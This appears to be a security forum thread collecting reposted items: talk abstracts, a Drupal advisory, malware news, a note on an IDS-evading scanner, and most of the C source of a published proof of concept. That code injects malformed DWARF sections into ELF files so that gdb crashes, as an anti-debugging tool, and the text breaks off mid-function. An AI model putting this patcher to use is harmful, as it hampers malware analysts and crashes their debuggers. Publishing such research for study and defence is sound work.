Nytro

[h=1]Programul de guvernare al CABINETULUI PONTA II, scris pe un Microsoft Word PIRATAT[/h]de Andrei Luca POPESCU Versiunea electronic? a Programului de guvernare a României pentru perioada 2013-2016, dat publicit??ii joi de Guvernul condus de Victor Ponta, este realizat? într-o versiune piratat? a programului Microsoft Office Word. Documentul a fost postat pe pagina de internet a Guvernului României. La propriet??ile documentului Word, pot fi observate numele autorului ?i compania pe numele c?reia este înregistrat? copia programului de redactare pe calculator – Microsoft Office Word. Autorul este C?t?lin Cîndea, angajat al Guvernului la cabinetul premierului Victor Ponta. La numele companiei apare „Grizli777”. O apari?ie comun? pentru utilizatorii de Microsoft Office piratat, „Grizli777” este numele grupului sau individului care s-a ocupat de „spargerea” programului original, prin furnizarea unei licen?e false care poate fi desc?rcat? de pe site-urile de specialitate. Folosind "crack"-ul produs de Grizli777, programul poate fi utilizat f?r? s? fie cump?rat. Sursa: Programul de guvernare al CABINETULUI PONTA II, scris pe un Microsoft Word PIRATAT - Gandul

[h=1]nullcon Delhi 2012: Microsoft EMET Attack Mitigations - By Neil Sikka[/h] EMET is a program that customers can deploy to defend vulnerable software from exploitation without any code changes, binary changes, or recompiling. In this talk, I will show how proof of concept programs that I write can be exploited, and how EMET can stop exploitation of these programs. In demonstrating my programs, I will first run my programs without EMET enabled and show that they successfully exploit the system, and explain how the exploit works. Then, I will enable EMET, and show that the exploit is blocked and the vulnerable program was crashed rather than exploited.

[h=1]nullcon Delhi 2012: Highly Harmful Audio Waves aka DTMF Fuzzing - By Rahul Sasi[/h] Paper would be on DTMF input processing algorithms [DSP] , that are often embed into PBX, IVR, Telephone routers and other devices that process DTMF input. PBX and IVR servers are often deployed for running Phone Banking App Servers, Call Center Application and other systems that uses phone to interact with them. If an attacker could trigger exception in DTMF processing algorithms, then they could crash the entire application server making a single phone call, causing the entire Phone banking in accessible, or no calls to the costumer service goes through. One such denial of Service could cause a lot of panic and the amount of damage would be pretty huge. We will be demonstrating lot of amusing remote DTMF attacks on Phone Banking, Tele-Voting, and Customer Support applications using DTMF. This talk is recommended for Pentesters, PCI|DSS consultants, Telephone Companies, Banks or anyone who uses a device interacted via Telephone.

[h=2]Topera: invisible IPv6 TCP scanner to Snort[/h] Topera is a brand new TCP port scanner under IPv6, with the particularity that these scans are not detected by Snort. Snort is the most known IDS/IPS and is widely used in many different critical environments. Some commercial tools (Juniper or Checkpoint ones) use it as detection engine also. Mocking snort detection capabilities could suppose a high risk in some cases. All the community is invited to test it in any environment and we would be thankful if you send us any feedback. We keep researching on the security implications that the "new" IPv6 protocol will have in different environments. This tool was presented in the second edition of the Security Conference "Navaja Negra" (Navaja Negra Conference :: Albacete) by Daniel Garcia a.k.a cr0hn (@ggdaniel) and Rafa Sanchez (@r_a_ff_a_e_ll_o ). If any provider/vendor needs further detailed information or is interested in testing its products please, don't hesitate to contact us In next pictures you can see some executions screenshots: You can see an example of execution of Topera here: Links: http://code.google.com/p/topera/ http://www.iniqua.com/labs/topera-invisible-tcp-scanner/?lang=en Via: Full Disclosure: "Topera" The new IPv6 TCP port scanner invisible to SNORT...

[h=1]Thar' be Vuln. ID's Here - A Data Mining Case Study Matt Jones[/h] hgd6_1-lo&index=8RoxCon 2012

[h=1]Bluetooth Packet Sniffing Using Project Ubertooth - Dominic Spill[/h] hgd6_1-lo&index=7RoxCon 2012

[h=1]A Tale of Two Firefox Bugs - Fionnbharr Davies[/h] hgd6_1-lo&index=6RoxCon 2012

[h=1]Tracking vulnerable JARs - David Jorm[/h] hgd6_1-lo&index=5RoxCon 2012

[h=1]How To Catch a Chameleon: Its All In Your Heap - Steven Seeley[/h] hgd6_1-lo&index=4RoxCon 2012

[h=1]Injecting PHY-Layer Packets without a Bug or your Radio - Travis Goodspeed[/h] hgd6_1-lo&index=3RoxCon 2012

[h=1]Reverse Engineering a Mass Transit Ticketing System - TrainHack[/h] hgd6_1-lo&index=2RoxCon 2012

Hardware Backdooring is Practical - Jonathan Brossard RuxCon 2012

Nu, multumim. Ban.

In weekend vedem ce facem si cu IP-urile.

Iti faci un cont nou adica. Procedura se cheama "register".

[h=1]New Apache Exploit Doling Out Zeus, Sweet Orange Exploit Kit[/h]by Christopher Brook A new Apache module, Linux/Chapro.A, is making the rounds, injecting malicious content including a popular Zeus variant into web pages. The module was discussed in a blog on ESET’s Threat Blog by the company’s Security intelligence Program Manager, Pierre-Marc Bureau. According to the post, an iframe injection ultimately installs a version of Zeus, Win32/Zbot, but also points to a Lithuanian Sweet Orange exploit kit landing page. The final Zeus payload targets users who frequent European and Russian banking foundations and tries to swindle unsuspecting victims into giving up their account information, including their PIN code and CVV code information. The module also has a stealthy defense component, making it harder for system administrators to find the module during malware scans. The module only serves up malicious content under the right conditions. Linux/Chapro.A checks active SSH sessions on the Linux system its running but doesn’t deploy malware if a user is on a website using any of the SSH connected IPs. Linux/Chapro.A also only serves up its malware once, electing not to deploy it if a browser has already been infected, visited a malicious site or has been served a cookie. “If a user visits an infected website twice from the same IP address; it will only receive the malicious content once. This provides a second, additional method to make the path of infection more difficult to determine,” reads ESET’s write-up. The security firm adds that given the spread of the attack and its poor detection rates, it’s “very hard for law enforcement agencies to investigate and mitigate,” hinting that the module’s creators may have collaborated with another group to popularize the exploit kit only to sell the infected computers to a group running a Win32/Zbot botnet. Sursa: New Apache Exploit Doling Out Zeus, Sweet Orange Exploit Kit | threatpost

Cracking Wpa/Wpa2 Personal And Enterprise For Fun And Profit Description: Vivek Ramachandran is a Wireless Security expert. He is the author of the books – “Wireless Penetration Testing using Backtrack” and “The Metasploit Megaprimer”, both up for worldwide release in 2011. Founder of SecurityTube.net. Vivek Ramachandran started working on Wi-Fi Security since 2003. He has spoken at conferences such as Defcon and Toorcon on Wireless Security and is the discoverer of the Caffe Latte attack. He also broke WEP Cloaking, a WEP protection schema in 2007 publically at Defcon. Vivek is the author of the book "Wireless Penetration Testing using BackTrack 5" due for release in August 2011. He was one of the programmers of the 802.1x protocol and Port Security in Cisco's 6500 Catalyst series of switches. He was one of the winners of Microsoft Security Shootout contest held in India among a reported 65,000 participants. He is best known in the hacker community as the founder of SecurityTube.net where he routinely posts videos on Wi-Fi Security, Assembly Language, Exploitation Techniques etc. SecurityTube.net gets over 100,000 unique visitors a month. Vivek's work on wireless security has been quoted in BBC online, InfoWorld, MacWorld, The Register, IT World Canada etc. places. This year he is either speaking or training at Blackhat, Defcon, Hacktivity, 44con, HITB-ML, Brucon, Derbycon, HashDays, SecurityByte and MIT, Boston. PDF : - https://hacktivity.com/en/downloads/archives/169/ Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Cracking Wpa/Wpa2 Personal And Enterprise For Fun And Profit

Zombie Browsers, Spiced With Rootkit Extensions Description: His main experts are Security Monitoring, Database Security, Penetration Testing. One of Zoltán's hobbies is to solve and create hacking challenges. Zoltán currently works for Deloitte Hungary as a member of IT security team. His main competences are penetration testing, security monitoring and database security. Zoltán Balázs graduated at the Budapest University of Technology and Economics, finishing the Security of Infocommunication Systems special in 2006. Worked for some months at Citigroup Threat Assessment Center as IT Security Analyst. From 2006-2010 he worked as an IT Security Expert at Erste Bank Hungary, and from 2010 he works as an IT Security team leader, still at Erste. His main experts are Security Monitoring, Database Security, Penetration Testing. One of Zoltán's hobbies is to solve and create hacking challenges. On ITSEC conferences he likes to present about malwares, IPv6, pass-the-hash, browser malwares. PDF : - https://hacktivity.com/en/downloads/archives/179/ Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Zombie Browsers, Spiced With Rootkit Extensions

The Rise And Fall Of Ddos Attacks In 2012 Description: PDF : - https://hacktivity.com/en/downloads/archives/191/ Steve has been working for networking manufacturers for over 25 years and has specialised in Security Vendors for the past 15 years. He has held senior position in Ascend Communications, Zhone Technologies, Arbor Networks, Sandvine and Redseal Networks. His experience of working both with the Service providers and Enterprise gives him a unique view of the different requirements in not only securing networks but also in offering security services to the market. He has sat on many technical review boards including Cisco Networkers and has been involved in many presentations and consultancy within the academic community. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: The Rise And Fall Of Ddos Attacks In 2012

Backtrack 5 R3 Forensic :- Recoverjpg http://www.youtube.com/watch?feature=player_embedded&v=JBzE-m-1FOw Description: Recoverjpeg is used to recover JFIF (JPEG) pictures and MOV movies from a peripheral. some times when we overwrite a partition by mistake or if the memory card of a device such as a digital camera get spoiled, this tool is very useful to recover data. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Backtrack 5 R3 Forensic :- Recoverjpg - YouTube Sursa: http://www.securitytube.net/video/6423?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SecurityTube+%28SecurityTube. Net%29

Drupal Core 6.x / 7.x Access Bypass / Code Execution Authored by Derek Wright, Damien Tournoud, Simon Rycroft | Site drupal.org Drupal core versions 6.x and 7.x suffer from access bypass and arbitrary PHP code execution vulnerabilities. View online: http://drupal.org/SA-CORE-2012-004 * Advisory ID: DRUPAL-SA-CORE-2012-004 * Project: Drupal core [1] * Version: 6.x, 7.x * Date: 2012-December-19 * Security risk: Moderately critical [2] * Exploitable from: Remote * Vulnerability: Access bypass, Arbitrary PHP code execution -------- DESCRIPTION --------------------------------------------------------- Multiple vulnerabilities were fixed in the supported Drupal core versions 6 and 7. .... Access bypass (User module search - Drupal 6 and 7) A vulnerability was identified that allows blocked users to appear in user search results, even when the search results are viewed by unprivileged users. This vulnerability is mitigated by the fact that the default Drupal core user search results only display usernames (and disclosure of usernames is not considered a security vulnerability [3]). However, since modules or themes may override the search results to display more information from each user's profile, this could result in additional information about blocked users being disclosed on some sites. CVE: Requested. .... Access bypass (Upload module - Drupal 6) A vulnerability was identified that allows information about uploaded files to be displayed in RSS feeds and search results to users that do not have the "view uploaded files" permission. This issue affects Drupal 6 only. CVE: Requested. .... Arbitrary PHP code execution (File upload modules - Drupal 6 and 7) Drupal core's file upload feature blocks the upload of many files that can be executed on the server by munging the filename. A malicious user could name a file in a manner that bypasses this munging of the filename in Drupal's input validation. This vulnerability is mitigated by several factors: The attacker would need the permission to upload a file to the server. Certain combinations of PHP and filesystems are not vulnerable to this issue, though we did not perform an exhaustive review of the supported PHP versions. Finally: the server would need to allow execution of files in the uploads directory. Drupal core has protected against this with a .htaccess file protection in place from SA-2006-006 - Drupal Core - Execution of arbitrary files in certain Apache configurations [4]. Users of IIS should consider updating their web.config [5]. Users of Nginx should confirm that only the index.php and other known good scripts are executable. Users of other webservers should review their configuration to ensure the goals are achieved in some other way. CVE: Requested. -------- CVE IDENTIFIER(S) ISSUED -------------------------------------------- * /A CVE identifier [6] will be requested, and added upon issuance, in accordance with Drupal Security Team processes./ -------- VERSIONS AFFECTED --------------------------------------------------- * Drupal core 6.x versions prior to 6.27. * Drupal core 7.x versions prior to 7.18. -------- SOLUTION ------------------------------------------------------------ Install the latest version: * If you use Drupal 6.x, upgrade to Drupal core 6.27 [7]. * If you use Drupal 7.x, upgrade to Drupal core 7.18 [8]. Also see the Drupal core [9] project page. -------- REPORTED BY --------------------------------------------------------- * The access bypass issue in the User module search results was reported by Derek Wright [10] of the Drupal Security Team. * The access bypass issue in the Drupal 6 Upload module was reported by Simon Rycroft [11], and by Damien Tournoud [12] of the Drupal Security Team. * The arbitrary code execution issue was reported by Amit Asaravala [13]. -------- FIXED BY ------------------------------------------------------------ * The access bypass issue in the User module search results was fixed by Derek Wright [14], Ivo Van Geertruyen [15], Peter Wolanin [16], and David Rothstein [17], all members of the Drupal Security Team. * The access bypass issue in the Drupal 6 Upload module was fixed by Michaël Dupont [18], and by Fox [19] and David Rothstein [20] of the Drupal Security Team. * The arbitrary code execution issue was fixed by Nathan Haug [21] and Justin Klein-Keane [22], and by John Morahan [23] and Greg Knaddison [24] of the Drupal Security team. -------- COORDINATED BY ------------------------------------------------------ * Jeremy Thorson [25] QA/Testing infrastructure * Ben Jeavons [26] of the Drupal Security Team * David Rothstein [27] of the Drupal Security Team * Gábor Hojtsy [28] of the Drupal Security Team * Greg Knaddison [29] of the Drupal Security Team * Fox [30] of the Drupal Security Team -------- CONTACT AND MORE INFORMATION ---------------------------------------- The Drupal security team can be reached at security at drupal.org or via the contact form at http://drupal.org/contact [31]. Learn more about the Drupal Security team and their policies [32], writing secure code for Drupal [33], and securing your site [34]. [1] http://drupal.org/project/drupal [2] http://drupal.org/security-team/risk-levels [3] http://drupal.org/node/1004778 [4] http://drupal.org/node/65409 [5] http://drupal.org/node/1543392 [6] http://cve.mitre.org/ [7] http://drupal.org/drupal-6.27-release-notes [8] http://drupal.org/drupal-7.18-release-notes [9] http://drupal.org/project/drupal [10] http://drupal.org/user/46549 [11] http://drupal.org/user/151544 [12] http://drupal.org/user/22211 [13] http://drupal.org/user/181407 [14] http://drupal.org/user/46549 [15] http://drupal.org/user/383424 [16] http://drupal.org/user/49851 [17] http://drupal.org/user/124982 [18] http://drupal.org/user/400288 [19] http://drupal.org/user/426416 [20] http://drupal.org/user/124982 [21] http://drupal.org/user/35821 [22] http://drupal.org/user/302225 [23] http://drupal.org/user/58170 [24] http://drupal.org/user/36762 [25] http://drupal.org/user/148199 [26] http://drupal.org/user/91990 [27] http://drupal.org/user/124982 [28] http://drupal.org/user/4166 [29] http://drupal.org/user/36762 [30] http://drupal.org/user/426416 [31] http://drupal.org/contact [32] http://drupal.org/security-team [33] http://drupal.org/writing-secure-code [34] http://drupal.org/security/secure-configuration Sursa: Drupal Core 6.x / 7.x Access Bypass / Code Execution ? Packet Storm

GNU Debugger 7.5.1 NULL Pointer Dereference Authored by nitr0us gdb (GNU debugger) versions 7.5.1 and below ELF anti-debugging / reversing patcher that causes a NULL pointer dereference to trigger. /* * * gdb (GNU debugger) <= 7.5.1 (crash due a NULL pointer dereference) * ELF anti-debugging/reversing patcher * * Published @ IOActive Labs Research blog: * http://blog.ioactive.com/2012/12/striking-back-gdb-and-ida-debuggers.html * * - nitr0us [ http://twitter.com/nitr0usmx ] * * Tested under: * GNU gdb 7.5.1 (OpenBSD 5.2 i386 [Compiled from sources]) * GNU gdb 7.5 (OpenBSD 5.2 i386 [Compiled from sources]) * GNU gdb 7.5 (Ubuntu Server 12.04 [Compiled from sources]) * GNU gdb 7.4.1 (OpenBSD 5.2 i386) * GNU gdb 7.4-2012.04 (Ubuntu Server 12.04) * GNU gdb 7.2-50.el6 (CentOS Linux) * GNU gdb 6.7.1 (Gentoo Linux) * * Bug found using Frixyon fuzzer (my ELF file format fuzzer still in development) * * Timeline: * 12/11/2012 The bug was found on GNU gdb 7.5 * 19/11/2012 The bug was reported through the official GNU gdb.s bug tracker: http://sourceware.org/bugzilla/show_bug.cgi?id=14855 * 10/12/2012 Retested with the latest release (7.5.1), which still has the bug * 12/12/2012 The status on the tracker is still "NEW" * **************** TECHNICAL DETAILS *********************** In gdb-7.5.1/gdb/dwarf2read.c is the following data structure: struct line_header { ... unsigned int num_include_dirs, include_dirs_size; char **include_dirs; ... struct file_entry { char *name; unsigned int dir_index; unsigned int mod_time; unsigned int length; ... } *file_names; } The problem exists when trying to open a malformed ELF that contains a file_entry.dir_index > 0 and char **include_dirs pointing to NULL. After patching an ELF file with this code, the following happens: (gdb) r -q ./evil_exploit Program received signal SIGSEGV, Segmentation fault. 0x081e87bd in psymtab_include_file_name (lh=0x8594420, file_index=0, pst=0x8583650, comp_dir=0x858362c "/home/nitr0us") at dwarf2read.c:13969 13970 dir_name = lh->include_dirs[fe.dir_index - 1]; (gdb) p/x fe $1 = {name = 0x8583718, dir_index = 0xf, mod_time = 0x0, length = 0x0, included_p = 0x1, symtab = 0x0} (gdb) p lh->include_dirs $2 = (char **) 0x0 (gdb) x/i $eip => 0x81e87bd <psymtab_include_file_name+111>: mov (%eax),%eax (gdb) i r $eax eax 0x38 56 The root cause of the problem is that there's no validation to verify if include_dirs is different from NULL before referencing it. ********************************************************** * * [Compilation] $ gcc gdb_751_elf_shield.c -o gdb_751_elf_shield -Wall * * Sh0utz: IOActive fellows, CRAc, b33rc0n crew (dex, hkm, calderpwn, * Carlos Ayala, Daemon, LightOS) chr1x, alt3kx, tr3w, crypkey, * el_chito, nahual, beck, sirdarkcat, NataS, ran, Fede Bossi, * nediam, psymera, Rolman, Kbrown, Bucio, p4dm3, Hector Lopez, zeus, * Matias Brutti, sunl3vy, Raaka_elgaupo, vendetta, raito, beavis, * el5patas, vi0let. * * * http://chatsubo-labs.blogspot.com * http://www.brainoverflow.org * */ #include <sys/mman.h> #include <sys/stat.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdio.h> #include <fcntl.h> #if defined(__OpenBSD__) || defined(__NetBSD__) || defined(__FreeBSD__) #include <sys/exec_elf.h> #else #include <elf.h> #endif /* * The next payload is based on the 'struct line_header' * defined in gdb-7.5.1/gdb/dwarf2read.c * * The fields are put in little-endian (LSB) */ const char dwarf_line_header[] = { 0x32, 0x00, 0x00, 0x00, // unsigned int total_length; 0x02, 0x00, // unsigned short version; 0x1c, 0x00, 0x00, 0x00, // unsigned int header_length; 0x01, // unsigned char minimum_instruction_length; 0x01, // unsigned char maximum_ops_per_instruction; 0xfb, // int line_base; in runtime = 0xfffffffb, however, in file system it's only one byte o_O? 0x0e, // unsigned char line_range; 0x0d, // unsigned char opcode_base; 'N' , '1' , '7' , 'R' , '0' , // Useless to trigger the bug 0xDE, 0xAD, 0xBA, 0xBE, // Useless to trigger the bug 0x31, 0x33, 0x70, // Useless to trigger the bug 0x00, // (KILLER BYTE) char **include_dirs; This will expand to a NULL pointer 0x00000000 'C' , 'R' , '4' , '5' , 'H' , 0x00, // file_entry->name 0x31, // (KILLER BYTE) file_entry->dir_index; dwarf_line_header->include_dirs[file_entry.dir_index - 1]; SIGSEGV ! 0x33, // file_entry->mod_time; 0x70, // file_entry->length; 0x00, 0x00, 0x05, 0x02, // Couldn't detect where exactly are loaded in memory at runtime 0xd4, 0x83, 0x04, 0x08, // . . . 0x15, 0x91, 0xbc, 0x59, // . . . 0x02, 0x02, 0x00, 0x01, // . . . 0x01, // Couldn't detect where exactly are loaded in memory at runtime }; /* * The next ELF sections are necessary to crash gdb. * They were taken from a normal ELF file compiled with -ggdb * $objdump -s -j .debug_xxx ./a.out */ char debug_info[] = { 0x87, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x3b, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0xd4, 0x83, 0x04, 0x08, 0xf0, 0x83, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04, 0x07, 0x2e, 0x00, 0x00, 0x00, 0x02, 0x01, 0x08, 0x47, 0x00, 0x00, 0x00, 0x02, 0x02, 0x07, 0x07, 0x00, 0x00, 0x00, 0x02, 0x04, 0x07, 0x29, 0x00, 0x00, 0x00, 0x02, 0x01, 0x06, 0x49, 0x00, 0x00, 0x00, 0x02, 0x02, 0x05, 0x1a, 0x00, 0x00, 0x00, 0x03, 0x04, 0x05, 0x69, 0x6e, 0x74, 0x00, 0x02, 0x08, 0x05, 0x68, 0x00, 0x00, 0x00, 0x02, 0x08, 0x07, 0x24, 0x00, 0x00, 0x00, 0x02, 0x04, 0x05, 0x6d, 0x00, 0x00, 0x00, 0x02, 0x01, 0x06, 0x50, 0x00, 0x00, 0x00, 0x04, 0x01, 0x63, 0x00, 0x00, 0x00, 0x01, 0x03, 0x4f, 0x00, 0x00, 0x00, 0xd4, 0x83, 0x04, 0x08, 0xf0, 0x83, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00 }; char debug_abbrev[] = { 0x01, 0x11, 0x01, 0x25, 0x0e, 0x13, 0x0b, 0x03, 0x0e, 0x1b, 0x0e, 0x11, 0x01, 0x12, 0x01, 0x10, 0x06, 0x00, 0x00, 0x02, 0x24, 0x00, 0x0b, 0x0b, 0x3e, 0x0b, 0x03, 0x0e, 0x00, 0x00, 0x03, 0x24, 0x00, 0x0b, 0x0b, 0x3e, 0x0b, 0x03, 0x08, 0x00, 0x00, 0x04, 0x2e, 0x00, 0x3f, 0x0c, 0x03, 0x0e, 0x3a, 0x0b, 0x3b, 0x0b, 0x49, 0x13, 0x11, 0x01, 0x12, 0x01, 0x40, 0x06, 0x00, 0x00, 0x00 }; char debug_str[] = { 0x65, 0x76, 0x69, 0x6c, 0x2e, 0x63, 0x00, 0x73, 0x68, 0x6f, 0x72, 0x74, 0x20, 0x75, 0x6e, 0x73, 0x69, 0x67, 0x6e, 0x65, 0x64, 0x20, 0x69, 0x6e, 0x74, 0x00, 0x73, 0x68, 0x6f, 0x72, 0x74, 0x20, 0x69, 0x6e, 0x74, 0x00, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x75, 0x6e, 0x73, 0x69, 0x67, 0x6e, 0x65, 0x64, 0x20, 0x69, 0x6e, 0x74, 0x00, 0x47, 0x4e, 0x55, 0x20, 0x43, 0x20, 0x34, 0x2e, 0x36, 0x2e, 0x33, 0x00, 0x75, 0x6e, 0x73, 0x69, 0x67, 0x6e, 0x65, 0x64, 0x20, 0x63, 0x68, 0x61, 0x72, 0x00, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x6e, 0x69, 0x74, 0x72, 0x30, 0x75, 0x73, 0x00, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x69, 0x6e, 0x74, 0x00 }; /* Global vars & structs that'll used later */ Elf32_Ehdr *header; Elf32_Shdr *sht; // Section Header Table Elf32_Phdr *pht; // Program Header Table Elf32_Shdr *shstrtab_section; Elf32_Word s_debug_line_size = 0; Elf32_Word shstrtab_size = 0; Elf32_Off shstrtab_offset = 0; Elf32_Off debug_line_offset = 0; struct stat statinfo; // We'll use only st_size and st_mode char *elfptr; int fd, tmpfd, k; int isELF(int); Elf32_Off findDebugLineSection() { for(k = 0; k < header->e_shnum; k++, sht++) if(strcmp(elfptr + shstrtab_offset + sht->sh_name, ".debug_line") == 0){ s_debug_line_size = sht->sh_size; return sht->sh_offset; } return 0; } /* * This function will add the section '.debug_line' * with the payload inside. Also, it's necessary to * update some ELF metadata as well as to include some * extra Elf32_Shdr structures in the middle of the file. * * I solved this problem doing the following steps: * * 1.- Patch the .shstrtab (and .strtab) sections size, so * the names (strings at the end of the file) of the new appended * sections will be inside that sections (gdb checks for the offsets). * * 2.- Create 4 new Elf32_Shdr structures (.debug_line, .debug_info, * .debug_abbrev and .debug_str) which are necessary to crash gdb: * ->sh_name is a relative offset to shstrtab_section->sh_offset * So, it'll be pointing to statinfo.st_size - shstrtab_section->sh_offset * (it means that at the end of the file there will be the * string '.debug_line' (null terminated)). The same calculations for the * other 3 new sections added. * ->sh_offset is the absolute offset in file system, so it'll be * pointing to the end of the file. * ->sh_size will be obviously sizeof() each section content (payloads) * * 3.- Calculate the insertion point (offset in file system): * header->e_shoff + header->e_shnum * sizeof(Elf32_Shdr) * * 4.- Four Elf32_Shdr structured will be appended at the end of the * Section Header Table, so it means that for each program header * who's segment is after the insertion, its offset in file system has to * be updated to reflect the new position after insertion: * pht->p_offset += sizeof(Elf32_Shdr) * n_sections_to_inject; * Also update the header->e_phoff (in case it's after the injection point). * * 5.- Update the ELF header to account for 4 extra section headers: * ->header->e_shnum += n_sections_to_inject; * * 6.- Synchronize the ELF in file system with its corresponding * pointer in memory to reflect the previous changes (msync()). * Also close the file descriptor. * * 7.- Physically insert the Elf32_Shdr structures at the end * of the Section Header Table (insertion point calculated in the step 3). * After that, copy the rest of the file. * 8.- Insert the names of the new sections (strings '.debug_line', '.debug_info', * '.debug_abbrev' and '.debug_str') followed by its corresponding null byte. * * 9.- Finally, insert the payloads (dwarf_line_header[], debug_info[], debug_str[] * and debug_abbrev[]) * */ int addDebugLineSection() { unsigned int n_sections_to_inject = 4; // .debug_line (bogus data), .debug_info, .debug_abbrev and .debug_str unsigned int n_sections_names_len = strlen(".debug_str") + 1 + strlen(".debug_info") + 1 + strlen(".debug_line") + 1 + strlen(".debug_abbrev") + 1; // Step 1 shstrtab_section->sh_size = statinfo.st_size - shstrtab_offset + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len; printf("[+] Patching the size of \".shstrtab\" section to 0x%.4x\n", shstrtab_section->sh_size); sht = (Elf32_Shdr *) (elfptr + header->e_shoff); for(k = 0; k < header->e_shnum; k++, sht++) if(strcmp(elfptr + shstrtab_offset + sht->sh_name, ".strtab") == 0){ sht->sh_size = shstrtab_section->sh_size; printf("[+] Patching the size of \".strtab\" section to 0x%.4x as well (gdb also check this size)\n\n", sht->sh_size); break; } // Step 2 Elf32_Shdr debug_line_sechdr, debug_info_sechdr, debug_abbrev_sechdr, debug_str_sechdr; debug_line_sechdr.sh_type = debug_info_sechdr.sh_type = debug_abbrev_sechdr.sh_type = debug_str_sechdr.sh_type = 0x0001; debug_line_sechdr.sh_flags = debug_info_sechdr.sh_flags = debug_abbrev_sechdr.sh_flags = 0x0000; debug_str_sechdr.sh_flags = 0x0030; debug_line_sechdr.sh_addr = debug_info_sechdr.sh_addr = debug_abbrev_sechdr.sh_addr = debug_str_sechdr.sh_addr = 0x00000000; debug_line_sechdr.sh_link = debug_info_sechdr.sh_link = debug_abbrev_sechdr.sh_link = debug_str_sechdr.sh_link = 0x0000; debug_line_sechdr.sh_info = debug_info_sechdr.sh_info = debug_abbrev_sechdr.sh_info = debug_str_sechdr.sh_info = 0x0000; debug_line_sechdr.sh_addralign = debug_info_sechdr.sh_addralign = debug_abbrev_sechdr.sh_addralign = debug_str_sechdr.sh_addralign = 0x0001; debug_line_sechdr.sh_entsize = debug_info_sechdr.sh_entsize = debug_abbrev_sechdr.sh_entsize = debug_str_sechdr.sh_entsize = 0x0000; debug_line_sechdr.sh_size = sizeof(dwarf_line_header); debug_info_sechdr.sh_size = sizeof(debug_info); debug_str_sechdr.sh_size = sizeof(debug_str); debug_abbrev_sechdr.sh_size = sizeof(debug_abbrev); // Relative offsets to shstrtab_offset debug_line_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset; debug_info_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset + strlen(".debug_line") + 1; debug_str_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset + strlen(".debug_line") + 1 + strlen(".debug_info") + 1; debug_abbrev_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset + strlen(".debug_line") + 1 + strlen(".debug_info") + 1 + strlen(".debug_str") + 1; // Absolute offsets at the end of the file debug_line_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len; debug_info_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len + debug_line_sechdr.sh_size; debug_str_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len + debug_line_sechdr.sh_size + debug_info_sechdr.sh_size; debug_abbrev_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len + debug_line_sechdr.sh_size + debug_info_sechdr.sh_size + debug_str_sechdr.sh_size; // Step 3 Elf32_Off shdr_insertion_point = header->e_shoff + header->e_shnum * sizeof(Elf32_Shdr); printf(" [*] The insertion point will be at: 0x%.4x\n\n", shdr_insertion_point); // Step 4 pht = (Elf32_Phdr *) (elfptr + header->e_phoff); if(header->e_phoff >= shdr_insertion_point){ header->e_phoff += sizeof(Elf32_Shdr) * n_sections_to_inject; printf("[+] The Program Header Table is after the insertion point. Fixing p_offset to 0x%.4x\n", header->e_phoff); } else printf("[-] The Program Header Table is before the insertion point.\n"); for(k = 0; k < header->e_phnum; k++, pht++) if(pht->p_offset >= shdr_insertion_point){ pht->p_offset += sizeof(Elf32_Shdr) * n_sections_to_inject; printf("[+] The Program Header[ %d ] is after the insertion point. Fixing p_offset to 0x%.4x\n", k, pht->p_offset); } // Step 5 header->e_shnum += n_sections_to_inject; // Step 6 if(msync(elfptr, 0, MS_SYNC) == -1){ perror("msync"); return 0; } close(fd); // Step 7 if((tmpfd = creat("modified_elf.tmp", statinfo.st_mode)) == -1){ perror("creat"); return 0; } if(write(tmpfd, elfptr, shdr_insertion_point) == -1) return 0; printf("\n[+] Injecting the '.debug_line' Elf32_Shdr struct at the end of the Section Header Table...\n"); if(write(tmpfd, &debug_line_sechdr, sizeof(Elf32_Shdr)) == -1) return 0; printf("[+] Injecting the '.debug_info' Elf32_Shdr struct at the end of the Section Header Table...\n"); if(write(tmpfd, &debug_info_sechdr, sizeof(Elf32_Shdr)) == -1) return 0; printf("[+] Injecting the '.debug_str' Elf32_Shdr struct at the end of the Section Header Table...\n"); if(write(tmpfd, &debug_str_sechdr, sizeof(Elf32_Shdr)) == -1) return 0; printf("[+] Injecting the '.debug_abbrev' Elf32_Shdr struct at the end of the Section Header Table...\n\n"); if(write(tmpfd, &debug_abbrev_sechdr, sizeof(Elf32_Shdr)) == -1) return 0; // Copy the rest of the original file if(write(tmpfd, elfptr + shdr_insertion_point, statinfo.st_size - shdr_insertion_point) == 